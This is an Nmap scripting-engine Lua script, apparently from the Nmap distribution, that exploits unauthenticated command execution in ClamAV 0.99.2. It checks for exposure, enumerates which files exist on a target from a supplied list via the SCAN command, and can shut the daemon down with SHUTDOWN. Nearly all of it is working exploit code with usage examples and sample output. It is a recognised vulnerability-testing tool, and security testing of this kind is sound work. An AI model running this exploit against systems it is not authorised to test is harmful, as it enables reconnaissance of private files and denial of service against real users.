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|
local shortport = require "shortport"
local vulns = require "vulns"
local nmap = require "nmap"
local stdnse = require "stdnse"
local table = require "table"
local io = require "io"
local string = require "string"
local comm = require "comm"
description = [[
Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution.
ClamAV server 0.99.2, and possibly other previous versions, allow the execution
of dangerous service commands without authentication. Specifically, the command 'SCAN'
may be used to list system files and the command 'SHUTDOWN' shut downs the
service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
This script without arguments test the availability of the command 'SCAN'.
Reference:
* https://twitter.com/nitr0usmx/status/740673507684679680
* https://bugzilla.clamav.net/show_bug.cgi?id=11585
]]
---
-- @usage
-- nmap -sV --script clamav-exec <target>
-- nmap --script clamav-exec --script-args cmd='scan',scandb='files.txt' <target>
-- nmap --script clamav-exec --script-args cmd='shutdown' <target>
--
-- @output
-- PORT STATE SERVICE VERSION
-- 3310/tcp open clam ClamAV 0.99.2 (21714)
-- | clamav-exec:
-- | VULNERABLE:
-- | ClamAV Remote Command Execution
-- | State: VULNERABLE
-- | ClamAV 0.99.2, and possibly other previous versions, allow the execution of the
-- | clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN'
-- | may be used to enumerate system files and the command 'SHUTDOWN' shut downs the
-- | service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
-- |
-- | Disclosure date: 2016-06-8
-- | Extra information:
-- | SCAN command is enabled.
-- | References:
-- | https://bugzilla.clamav.net/show_bug.cgi?id=11585
-- |_ https://twitter.com/nitr0usmx/status/740673507684679680
-- @xmloutput
-- <table key="NMAP-1">
-- <elem key="title">ClamAV Remote Command Execution</elem>
-- <elem key="state">VULNERABLE</elem>
-- <table key="description">
-- <elem>ClamAV 0.99.2, and possibly other previous versions, allow the execution
-- of the 
clamav commands SCAN and SHUTDOWN without authentication.
-- The command 'SCAN' 
may be used to enumerate system files and
-- the command 'SHUTDOWN' shut downs the 
service.
-- This vulnerability was discovered by Alejandro Hernandez (nitr0us).
</elem>
-- </table>
-- <table key="dates">
-- <table key="disclosure">
-- <elem key="year">2016</elem>
-- <elem key="day">8</elem>
-- <elem key="month">06</elem>
-- </table>
-- </table>
-- <elem key="disclosure">2016-06-8</elem>
-- <table key="extra_info">
-- <elem>SCAN command is enabled.</elem>
-- </table>
-- <table key="refs">
-- <elem>https://bugzilla.clamav.net/show_bug.cgi?id=11585</elem>
-- <elem>https://twitter.com/nitr0usmx/status/740673507684679680</elem>
-- </table>
-- </table>
--
-- @args clamav-exec.cmd Command to execute. Option: scan and shutdown
-- @args clamav-exec.scandb Database to file list.
---
author = "Paulino Calderon <calderon()websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "vuln"}
portrule = shortport.port_or_service{3310, "clam"}
local function shutdown(host, port)
local status, data = comm.exchange(host, port, "SHUTDOWN")
if not status and data == "EOF" then
stdnse.debug1("Expected EOF response to SHUTDOWN command:%s", data)
return true
end
return nil
end
---
-- scan(host, port, file)
-- Sends SCAN %FILE command to clamav.
-- If no file is specified, we query a non existing file to check the response.
--
local function scan(host, port, file)
local status, data
if not file then
status, data = comm.exchange(host, port, "SCAN /trinity/loves/nmap")
if not status then
stdnse.debug1("Failed to send SCAN command:%s", data)
return nil
end
if data and data:match("No such file") then
stdnse.debug1("SCAN command enabled.")
return true, nil
end
else
status, data = comm.exchange(host, port, "SCAN " .. file)
if not status then
stdnse.debug1("Failed to send 'SCAN %s' command:%s", file, data)
return nil
end
if data and data:match("OK") then
stdnse.debug1("File '%s' exists", file)
return true, true
else
stdnse.debug1("File '%s' does not exists", file)
return true, nil
end
end
return nil
end
local function check_clam(host, port)
local status, data = comm.exchange(host, port, "PING")
if not status then
stdnse.debug1("Failed to send PING command:%s", data)
return nil
end
if data and data:match("PONG") then
stdnse.debug1("PONG response received")
return true
end
return nil
end
action = function(host, port)
local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
local scandb = stdnse.get_script_args(SCRIPT_NAME..".scandb") or nil
if cmd == "scan" and not scandb then
return "The argument 'scandb' must be set if we are using the command 'SCAN'"
end
--Check the service and update the port table
local clamchk = check_clam(host, port)
if clamchk then
stdnse.debug1("ClamAV daemon found")
port.version.name = "clam"
port.version.product = "ClamAV"
nmap.set_port_version(host, port)
end
local vuln = {
title = 'ClamAV Remote Command Execution',
state = vulns.STATE.NOT_VULN,
description = [[
ClamAV 0.99.2, and possibly other previous versions, allow the execution of the
clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN'
may be used to enumerate system files and the command 'SHUTDOWN' shut downs the
service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
]],
references = {
'https://bugzilla.clamav.net/show_bug.cgi?id=11585',
'https://twitter.com/nitr0usmx/status/740673507684679680'
},
dates = {
disclosure = {year = '2016', month = '06', day = '8'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local status, files = nil
if cmd == "scan" then
local file = io.open(scandb, "r")
if not file then
stdnse.debug1("Couldn't open file '%s'", scandb)
return nil
end
local files = {}
local exists
while true do
local db_line = file:read()
if not db_line then
break
end
status, exists = scan(host, port, db_line)
if status and exists then
table.insert(files, string.format("%s - FOUND!", db_line))
end
end
if #files > 0 then
vuln.extra_info = stdnse.format_output(true, files)
vuln.state = vulns.STATE.VULN
end
elseif cmd == "shutdown" then
status = shutdown(host, port)
if status then
vuln.extra_info = "SHUTDOWN command sent successfully."
vuln.state = vulns.STATE.VULN
end
else
status, files = scan(host, port, nil)
if status then
vuln.extra_info = "SCAN command is enabled."
vuln.state = vulns.STATE.VULN
end
end
return vuln_report:make_output(vuln)
end
|
